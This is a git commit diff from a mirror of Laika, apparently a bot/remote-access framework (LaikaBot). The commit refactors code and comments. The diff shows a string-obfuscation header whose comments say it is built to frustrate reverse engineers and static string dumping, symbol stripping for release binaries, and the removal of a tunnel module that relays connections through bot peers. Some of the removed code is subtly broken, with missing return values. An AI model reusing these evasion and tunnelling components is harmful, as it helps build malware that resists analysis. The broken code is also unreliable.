1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-24 13:31:05 +00:00

misc. refactoring, updated comments and minor documentation

This commit is contained in:
CPunch 2022-05-10 21:03:23 -05:00
parent e3a1f51d60
commit c4fc1a1fe6
7 changed files with 53 additions and 264 deletions

View File

@ -30,7 +30,7 @@ target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory # add include directory
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR}) target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
# strip symbols for POSIX-like binaries # strip symbols for UNIX binaries
if((UNIX AND NOT APPLE) AND NOT RAWCMAKEBUILDTYPE STREQUAL "debug") if((UNIX AND NOT APPLE) AND NOT RAWCMAKEBUILDTYPE STREQUAL "debug")
message(STATUS "Stripping LaikaBot symbols...") message(STATUS "Stripping LaikaBot symbols...")
target_link_options(LaikaBot PRIVATE -s) target_link_options(LaikaBot PRIVATE -s)

View File

@ -1,8 +1 @@
There are some unused features and boilerplate. The unused files include: -- stubbed, see CONTRIBUTING.md for notes on the library
- ltunnel.h
- ltunnel.c
- lbox.h
- lvm.h
- lvm.c
These files can be safely removed from the library.

View File

@ -25,10 +25,11 @@ enum {
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful 2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable. for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
dumping. Some predefined boxes are made for you to use. dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
Use LAIKA_BOX_STARTVAR & LAIKA_BOX_ENDVAR for quick and dirty usage. The data macros in `lboxconfig.h` are passed Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
to these, which are generated by VMBoxGen (`tools/vmboxgen`). to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
however for the time being only LAIKA_BOX_SKID_* is implemented.
*/ */
struct sLaikaB_box { struct sLaikaB_box {
@ -62,7 +63,7 @@ struct sLaikaB_box {
/* ==============================================[[ Laika Boxes ]]=============================================== */ /* ==============================================[[ Laika Boxes ]]=============================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol [SEE tools/vmtest/src/main.c] */ /* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) { \ #define LAIKA_BOX_SKID(_key) { \
.unlockedData = {0}, /* reserved */ \ .unlockedData = {0}, /* reserved */ \
.code = { /* stack layout: \ .code = { /* stack layout: \
@ -110,7 +111,7 @@ LAIKA_FORCEINLINE void* laikaB_lock(struct sLaikaB_box *box) {
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE); sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE); sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
} }
/* include KEY_* & DATA_* macros for each obfuscated string */
#include "lboxconfig.h" #include "lboxconfig.h"
#endif #endif

View File

@ -21,13 +21,13 @@ typedef enum {
} OSTYPE; } OSTYPE;
#ifdef _WIN32 #ifdef _WIN32
#define LAIKA_OSTYPE OS_WIN # define LAIKA_OSTYPE OS_WIN
#else #else
#ifdef __linux__ # ifdef __linux__
#define LAIKA_OSTYPE OS_LIN # define LAIKA_OSTYPE OS_LIN
#else # else
#define LAIKA_OSTYPE OS_UNKNWN # define LAIKA_OSTYPE OS_UNKNWN
#endif # endif
#endif #endif
struct sLaika_peer; struct sLaika_peer;
@ -39,7 +39,6 @@ struct sLaika_peerPacketInfo {
bool variadic; bool variadic;
}; };
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC} #define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
struct sLaika_peer { struct sLaika_peer {

View File

@ -4,49 +4,49 @@
/* socket/winsock headers */ /* socket/winsock headers */
#ifdef _WIN32 #ifdef _WIN32
/* windows */ /* windows */
#ifndef NOMINMAX # ifndef NOMINMAX
#define NOMINMAX # define NOMINMAX
#endif # endif
#define _WINSOCK_DEPRECATED_NO_WARNINGS # define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h> # include <winsock2.h>
#include <windows.h> # include <windows.h>
#include <ws2tcpip.h> # include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib") # pragma comment(lib, "Ws2_32.lib")
typedef char buffer_t; typedef char buffer_t;
#define PollFD WSAPOLLFD # define PollFD WSAPOLLFD
#define poll WSAPoll # define poll WSAPoll
#define LN_ERRNO WSAGetLastError() # define LN_ERRNO WSAGetLastError()
#define LN_EWOULD WSAEWOULDBLOCK # define LN_EWOULD WSAEWOULDBLOCK
#define LN_MSG_NOSIGNAL 0 # define LN_MSG_NOSIGNAL 0
#define SOCKETINVALID(x) (x == INVALID_SOCKET) # define SOCKETINVALID(x) (x == INVALID_SOCKET)
#define SOCKETERROR(x) (x == SOCKET_ERROR) # define SOCKETERROR(x) (x == SOCKET_ERROR)
#else #else
/* posix platform */ /* posix platform */
#include <sys/types.h> # include <sys/types.h>
#include <sys/socket.h> # include <sys/socket.h>
#include <netdb.h> # include <netdb.h>
#include <netinet/in.h> # include <netinet/in.h>
#include <arpa/inet.h> # include <arpa/inet.h>
#include <poll.h> # include <poll.h>
#ifdef __linux__ # ifdef __linux__
#include <sys/epoll.h> # include <sys/epoll.h>
/* max events for epoll() */ /* max events for epoll() */
#define MAX_EPOLL_EVENTS 128 # define MAX_EPOLL_EVENTS 128
#define LAIKA_USE_EPOLL # define LAIKA_USE_EPOLL
#endif # endif
#include <unistd.h> # include <unistd.h>
#include <errno.h> # include <errno.h>
typedef int SOCKET; typedef int SOCKET;
typedef void buffer_t; typedef void buffer_t;
#define PollFD struct pollfd # define PollFD struct pollfd
#define LN_ERRNO errno # define LN_ERRNO errno
#define LN_EWOULD EWOULDBLOCK # define LN_EWOULD EWOULDBLOCK
#define LN_MSG_NOSIGNAL MSG_NOSIGNAL # define LN_MSG_NOSIGNAL MSG_NOSIGNAL
#define INVALID_SOCKET -1 # define INVALID_SOCKET -1
#define SOCKETINVALID(x) (x < 0) # define SOCKETINVALID(x) (x < 0)
#define SOCKETERROR(x) (x == -1) # define SOCKETERROR(x) (x == -1)
#endif #endif
#include <fcntl.h> #include <fcntl.h>
#include <stdbool.h> #include <stdbool.h>

View File

@ -1,34 +0,0 @@
#ifndef SHELLTUNNEL_H
#define SHELLTUNNEL_H
#include <inttypes.h>
#include "lmem.h"
#include "lsocket.h"
#include "lpeer.h"
#include "lpolllist.h"
struct sLaika_tunnel;
struct sLaika_tunnelConnection {
struct sLaika_socket sock;
struct sLaika_tunnel *tunnel;
struct sLaika_tunnelConnection *next;
uint16_t id;
};
struct sLaika_tunnel {
struct sLaika_tunnelConnection *connectionHead;
struct sLaika_peer *peer;
uint16_t port;
};
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port);
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel);
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id);
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection);
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz);
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id);
#endif

View File

@ -1,170 +0,0 @@
#include "lmem.h"
#include "lpeer.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "ltunnel.h"
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port) {
struct sLaika_tunnel *tunnel = (struct sLaika_tunnel*)laikaM_malloc(sizeof(struct sLaika_tunnel));
tunnel->port = port;
tunnel->peer = peer;
tunnel->connectionHead = NULL;
}
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel) {
struct sLaika_tunnelConnection *con = tunnel->connectionHead, *last;
struct sLaika_socket *sock = &tunnel->peer->sock;
/* free & close connections */
while (con != NULL) {
last = con;
con = con->next;
/* free connection */
laikaT_freeConnection(last);
}
/* tell peer tunnel is closed */
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CLOSE);
laikaS_writeInt(sock, &tunnel->port, sizeof(uint16_t));
laikaS_endOutPacket(tunnel->peer);
/* finally, free the tunnel */
laikaM_free(tunnel);
}
bool laikaT_handlePeerIn(struct sLaika_socket *sock) {
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
struct sLaika_tunnel *tunnel = con->tunnel;
struct sLaika_peer *peer = tunnel->peer;
int recvd;
/* read data */
switch (laikaS_rawRecv(&con->sock, LAIKA_MAX_PKTSIZE - (sizeof(uint16_t) + sizeof(uint16_t)), &recvd)) { /* - 4 since we need room in the packet for the id & port */
case RAWSOCK_OK: /* we're ok! forward data to peer */
laikaS_startVarPacket(peer, LAIKAPKT_TUNNEL_CONNECTION_DATA);
laikaS_writeInt(&peer->sock, &tunnel->port, sizeof(uint16_t));
laikaS_writeInt(&peer->sock, &con->id, sizeof(uint16_t));
/* write data we just read, from sock's inBuf to sock's out */
laikaS_write(&peer->sock, (void*)peer->sock.inBuf, recvd);
laikaS_consumeRead(&peer->sock, recvd);
/* end variadic packet */
laikaS_endVarPacket(peer);
default: /* panic! */
case RAWSOCK_CLOSED:
case RAWSOCK_ERROR:
return false;
}
}
bool laikaT_handlePeerOut(struct sLaika_socket *sock) {
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
struct sLaika_peer *peer = con->tunnel->peer;
int sent;
if (peer->sock.outCount == 0) /* sanity check */
return true;
switch (laikaS_rawSend(&con->sock, con->sock.outCount, &sent)) {
case RAWSOCK_OK: /* we're ok! */
/* if POLLOUT was set, unset it */
laikaP_rmvPollOut(peer->pList, &con->sock);
return true;
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
laikaP_addPollOut(peer->pList, &con->sock);
return true;
default: /* panic! */
case RAWSOCK_CLOSED:
case RAWSOCK_ERROR:
return false;
}
}
void laikaT_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
/* kill connection on failure */
laikaT_freeConnection(con);
}
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)laikaM_malloc(sizeof(struct sLaika_tunnelConnection)), *last = NULL;
/* we handle the socket events */
laikaS_initSocket(&con->sock,
laikaT_handlePeerIn,
laikaT_handlePeerOut,
laikaT_onPollFail,
NULL
);
laikaS_setNonBlock(&con->sock);
con->tunnel = tunnel;
con->next = NULL;
con->id = id;
/* insert into connection list */
if (tunnel->connectionHead == NULL) {
tunnel->connectionHead = con;
return con;
} else {
last = tunnel->connectionHead;
tunnel->connectionHead = con;
con->next = last;
}
}
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) {
struct sLaika_tunnel *tunnel = connection->tunnel;
struct sLaika_tunnelConnection *curr, *last = NULL;
curr = tunnel->connectionHead;
/* while we haven't reached the end of the list & we haven't found our connection */
while (curr && curr != connection) {
last = curr;
curr = curr->next;
}
if (last) {
/* unlink from list */
last->next = connection->next;
} else { /* connectionHead was NULL, or connection *was* the connectionHead. */
tunnel->connectionHead = connection->next;
}
/* tell peer connection is removed */
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CONNECTION_RMV);
laikaS_writeInt(&tunnel->peer->sock, &tunnel->port, sizeof(uint16_t));
laikaS_writeInt(&tunnel->peer->sock, &connection->id, sizeof(uint16_t));
laikaS_endOutPacket(tunnel->peer);
/* finally, free our connection */
laikaS_kill(&connection->sock);
}
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz) {
struct sLaika_tunnel *tunnel = connection->tunnel;
/* write data to socket, push to pollList's out queue */
laikaS_write(&connection->sock, data, sz);
laikaP_pushOutQueue(pList, &connection->sock);
}
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
struct sLaika_tunnelConnection *curr = tunnel->connectionHead;
/* search for the id in the linked list. curr->next is guaranteed to be NULL at the end of the list */
while (curr && curr->id != id)
curr = curr->next;
/* returns NULL if not found, or the found connection :) */
return curr;
}